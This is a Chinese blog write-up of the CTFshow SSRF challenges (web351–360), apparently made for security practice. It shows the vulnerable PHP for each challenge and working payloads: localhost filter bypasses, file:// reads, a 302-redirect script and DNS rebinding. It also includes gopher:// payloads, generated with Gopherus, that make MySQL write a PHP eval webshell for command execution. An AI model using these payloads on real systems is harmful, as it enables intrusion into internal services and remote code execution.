SSRF-CTFshow

最新推荐文章于 2024-09-17 10:55:16 发布
最新推荐文章于 2024-09-17 10:55:16 发布
阅读量625 收藏 2
点赞数 1
分类专栏： CTF训练日记 SSRF 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/unexpectedthing/article/details/120855618
版权

文章目录

前言：

关于互联网协议的一些认识：
互联网协议1
互联网协议2

CTFshow

对SSRF，比较重要的就是先尝试每一个协议是否可以使用。

web351

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);//初始化一个curl的会话
curl_setopt($ch, CURLOPT_HEADER, 0);//对会话进行设置参数
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);//将会话发给浏览器
curl_close($ch);//关闭会话
echo ($result);
?>

代码审计，发现就是特别普通的curl语句，没有任何过滤，我们使用file协议来读取本地文件
所以我们可以使用file://来读取flag.php文件
payload

POST:url=file:///var/www/html/flag.php(一般的路径是这个)
还有个：
    url=http://127.0.0.1/flag.php(使用http://协议访问本地文件，类似于我们自己在本地搭建网站)

nginx配置路径：/etc/nginx/ngin.conf,用file可以访问

web352

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

parse_url:

本函数解析一个 URL 并返回一个关联数组，包含在 URL 中出现的各种组成部分。
例子：
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';

print_r(parse_url($url));

echo parse_url($url, PHP_URL_PATH);
?>
输出：
Array
(
    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)
/path

这个题需要满足传输协议为http,https,但是ip地址不能为127.0.0.1

有许多绕过方式
进制转换

1.进制转换
十六进制
url=http://0x7F.0.0.1/flag.php
八进制
url=http://0177.0.0.1/flag.php
10 进制整数格式
url=http://2130706433/flag.php
16 进制整数格式，还是上面那个网站转换记得前缀0x
url=http://0x7F000001/flag.php
2.特殊模式
url=http://127.1/flag.php
url=http://0/flag.php
url=http://127.0000000000000.001/flag.php
3.0.0.0.0绕过
url=http://0.0.0.0/flag.php
4.用CIDR绕过localhost
url=http://127.127.127.127/flag.php
5.短标签绕过，好像不行
ipv6绕过[::1]，这题也不行。
使用句号绕过：url=http://127。0。0。1/flag.php，也不行
DNS重绑定

web353

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

同上，但是有一些payload不能用

web354

代码

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

我们可以使用a记录的方式，就是我们127.0.0.1设为我们的域名A记录，然后通过访问我们的域名，就可以直接访问到域名A记录所指向的服务器IP地址。
url=http://sudo.cc/flag.php

A记录的定义：
		A记录全称Address记录，又称IP指向，是用来指定主机名（或域名）对应的IP地址记录。用户可以将该域名下的网站服务器指向到自己的web server上。同时也可以设置二级域名，从而实现通过域名找到服务器找到相应网页的功能。
		通俗的说A记录就是域名绑定到服务器的IP，A记录就是告诉DNS，当你输入域名的时候，通过在DNS的A记录引导你到所对应的服务器。

但是预期解是利用脚本用unicode替换localhost的字符。

for i in range(128,65537):
    tmp=chr(i)
    try:
        res = tmp.encode('idna').decode('utf-8')
        #print(res)
        if("-") in res:
            continue
        print("U:{}    A:{}      ascii:{} ".format(tmp, res, i))
    except:
        pass

比如用a左边的字符去替换a最终就是locⒶhlhost

IDNA（Internationalizing Domain Names in Applications）应用程序国际化域名 ​
IDNA是一种以标准方式处理ASCII以外字符的一种机制，它从unicode中提取字符，并允许非
ASCII码字符以允许使用的ASCII字符表示。

web355

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

因为设置$host<=5的限制，我们只需要构造一个host的长度<=5
payload

url=http://0/flag.php
url=http://127.1/flag.php

web356

$host小于3
payload:

url=http://0/flag.php

web357

代码

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);//返回域名对应的ip地址
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?> scheme

其中的filter_var语句：官方文档

使用特定的过滤器过滤一个变量
filter_var(mixed $value, int $filter = FILTER_DEFAULT, array|int $options = 0): mixed
参数;
value：要过滤的内容。注意：标量值在过滤前，会被转换成字符串。
filter：The ID of the filter to apply. The Types of filters manual page lists the available filters.
If omitted, FILTER_DEFAULT will be used, which is equivalent to FILTER_UNSAFE_RAW. This will result in no filtering taking place by default.

options
一个选项的关联数组，或者按位区分的标示。如果过滤器接受选项，可以通过数组的 "flags" 下标去提供这些标示。 对于回调型的过滤器，应该传入 callable。 这个回调函数必须接受一个参数（即待过滤的值），并且返回一个在过滤/净化后的值。

返回值：返回过滤后的数据，如果过滤失败则返回 false

题意的：

FILTER_VALIDATE_IP 过滤器把值作为 IP 进行验证。

Name: "validate_ip"
ID-number: 275

可能的标志：
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP（比如 255.255.255.255）
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP（比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334）
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP （比如 192.168.0.1）
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。

要求需要用私域IP，我们可以使用302跳转

<?php
header("Location:http://127.0.0.1/flag.php");

然后访问http://xxx.xxx.xxx.xxx/xxx.php就可以了。

还有第二种方法，利用DNS重绑定
可以用到那种，限定某种ip地址，但是你需要访问其他ip地址，就可以使用。
本题，限制是私域IP地址，但是你需要访问127.0.0.1,所以就可以使用DNS重绑定。

https://zhuanlan.zhihu.com/p/89426041
https://superxiaoxiong.github.io/2018/01/23/dns-rebinding/

在这个网站注册一个账号http://ceye.io/，然后会给你分配一个域名，然后绑定127.0.0.1
payload:

url=http://r.xxxx.ceye.io/flag.php

web358

代码

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

审计代码，需要我们输入url前缀为http://ctf.，后缀为show
我们可以使用@来过滤

url=http://ctf.@127.0.0.1/flag.php#1=show
解释：http://1.1.1.1@127.0.0.1 ==>http://127.0.0.1
用#或者？把后缀show过滤了。

web359

web359是打无密码的mysql，我们可以使用万能的SSRF工具：https://github.com/tarunkant/Gopherus

直接命令行运行，我们写shell
在这里插入图片描述
得到

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%01%00%00%00%01

但是curl会默认解码一次，把gopher://127.0.0.1:3306/_再urlencode一次，得到

gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2545%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2531%252e%2570%2568%2570%2522%2501%2500%2500%2500%2501

最后输入密码，该returl值，然后shell写进去了
访问url/1.php,任意命令执行。

web360

步骤和上面的差不多
先用gopherus生成<?php eval($_POST[1]);?>
然后传入shell，默认生成shell.php
访问shell.php,任意命令执行。

参考文献

羽师傅
feng师傅
Y4爷

Z3eyOnd
关注
专栏目录
ctfshow-ssrf
孤桜懶契
08-21 339
前言 记录web的题目wp，慢慢变强，铸剑。 SSRF SSRF(Server-Side Request Forgery: 服务器端请求第二天) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF 攻击的目标是从网无法访问的内部系统。（因为它是由服务端发起的，所以它能够请求到与它相关而与外部网隔离的内部系统） web351 <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=cu
-------已搬运------CTFSHOW---WEB AK赛 -- 包含日志 ---sql注入 ---- xxe ----
Zero_Adam的博客
04-29 806
目录：web0_签到_观己一、自己做：二、学到的&&不足：web1_观宇一、自己做：二、学到的：三、学习WP：web2_观星00000+一、自己做：三、看WP： web0_签到_观己 一、自己做： 吐槽一句，ctfshow 的题就是 考知识点！！ ，一点拖泥带水的。赞一个！！！ <?php if(isset($_GET['file'])){ $file = $_GET['file']; if(preg_match('/php/i', $file)){ d
ctfshow ssrf
weixin_52240463的博客
01-23 3319
ctfshow ssrf
CTFshow(web入门》》SSRF)
最新发布
guowu666的博客
09-17 244
第一题没有什么限制。直接写即可。
ctfshow SSRF
..
02-28 1037
web 351 直接读取本地文件 url=file:///var/www/html/flag.php url=127.0.0.1/flag.php web352 这里要求是http或者https协议，只需要满足这个就可以了。 url=http://localhost/flag.php url=http://127.0.0.1/flag.php url=http://127.1/flag.php url=http://0.0.0.0/flag.php url=http:/...
ctfshow--ssrf
ing_end的博客
04-23 3981
SSRF概述及其危害 *SSRF概述 ​ 强制服务器发送一个攻击者的请求 ​ 互联网上的很多web应用提供了从其他服务器（也可以是本地)获取数据的功能。使用用户指定的URL，web应用可以获取图片（载入图片）、文件资源（下载或读取)。如下图所示，百度提供识图功能。如果链接可以访问任意请求，则存在ssrf漏洞 ​ 用户可以从本地或者URL的方式获取图片资源，交给百度识图处理。如果提交的是URL地址，该应用就会通过URL寻找图片资源。如果web 应用开放了类似于百度识图这样的功能，并且对用户提供的URL和远端
CTFshow SSRF
starttv的博客
11-23 1148
服务端请求伪造（Server Side Request Forgery, SSRF）指的是攻击者在未能取得服务器所有权限时，利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。
ctfshow 红包题第九弹 ssrf
qq_40327508的博客
11-25 1074
通过抓包登陆界面，发现存在ssrf漏洞 在通过ps猜测是ssrf打mysql 使用gopherus工具生成ssrf打mysql 的payload 之后放到burp中把参数在url编码一次 查看是否成功写入文件 成功写入，使用蚁剑连接
CTFshow SSRF(web351-360)
Kradress的博客
03-17 716
表示不允许私有IP地址（例如，10.0.0.0/8，172.16.0.0/12和192.168.0.0/16），而。后面要进行url编码，因为curl还会进行一次url解码。后面要进行url编码，因为curl还会进行一次url解码。显示网页内容，说明存在SSRF漏洞，那应该就是用。因为不能用私网，所以这题还是可以用。题目hint：打无密码的mysql。发现是一个登录框，抓个包看看，输入。，用于过滤和验证输入的IP地址。，这里可以用进制转换绕过。的返回结果，直接写马。的返回结果，直接写马。
ctfshow-SSRF
qq_45655564的博客
07-01 495
web351-普通的ssrf本地访问 <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); ?&
ctfshow ssrf篇
m0_62422842的博客
07-10 744
ctfshow入门中的ssrf篇
ctfshow SSRF专题
会下雪的晴天
01-02 941
title: ctfshow SSRF专题 date: 2020-12-30 11:49:30 categories: ctfshow 新博客地址：https://yq1ng.github.io/ 随缘更 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统） web351 web.
ctfshow——SSRF
qq_55202378的博客
05-02 1115
(Server-Side Request Forgery：服务器端请求伪造) 是一种由攻击者构造形成的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）
CTFshow——SSRF
lee_maple的博客
04-23 3747
CTFshow——SSRF Web351 <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result
CTFshow之SSRF
qq_63928796的博客
11-22 377
无过滤，直接去访问本地的flag.php。
ctfshowSSRF漏洞Web351-352
m0_62584974的博客
04-13 1118
SRF漏洞简介 SSRF意为服务端请求伪造(ServerSideRequestForge)。攻击者利用SSRF漏洞通过服务器发起伪造请求，这样就可以访问内网的数据，进行内网信息探测或者内网漏洞利用。 SSRF漏洞形成的原因是:应用程序存在可以从其他服务器获取数据的功能，但是对服务器的地址并没有做严格的过滤，导致应用程序可以访问任意的URL链接。攻击者通过精心构造URL链接 可以利用SSRF漏洞进行以下攻击: (1)通过服务器获取内网主机、端口和banner信息。 (2)对内网的应用程序进行攻击，例如...
ctfshow web入门-ssrf
akxnxbshai的博客
05-13 783
目录 开头： web 351 web 352 web 353 web 354 web 355 web 356 web 357 Web 358 Web 359 Web 360 开头： 简单了解一下SSRF。 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统
ctfshow——web入门-SSRF
2301_80481202的博客
04-10 836
要完成DNS重绑定攻击，我们需要一个域名，并且将这个域名的解析指定到我们自己的DNS Server，在我们的可控的DNS Server上编写解析服务，设置TTL时间为0。对于用户请求的URL参数，首先服务器端会对其进行DNS解析，然后对于DNS服务器返回的IP地址进行判断，如果在黑名单中，就pass掉。如果后端服务器在接收到参数后，正确的解析了URL的host，并且进行了过滤，我们这个时候可以使用302跳转的方式来进行绕过。如果成功，则返回已过滤的数据，如果失败，则返回 false。
ctf_show笔记篇（web入门---SSRF)
whale_waves的博客
04-04 1114
ssrf产生原理： 服务端存在网络请求功能/函数，例如：file_get_contens()这一类类似于curl 这种函数传入的参数用户是可控的 没有对用户输入做过滤导致的ssrf漏洞 ssrf利用: 用于探测内网服务以及端口 探针存活主机以及开放服务 探针是否存在redis服务(未授权访问, 相当于是可以访问到redis服务并且开发人员不严谨没有设置密码, 因为默认是没有密码的, 或者说开发者设置了密码但是是弱口令), 利用定时任务反弹shell
SSRF-Testing安装
07-25
SSRF (Server Side Request Forgery) 测试是一个用于检测服务器端请求伪造漏洞的工具，它是一种常见的安全测试技术。为了安装 SSFRT 这一工具，你可以按照以下步骤操作： ### 安装依赖 首先，确保你的系统已安装 ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值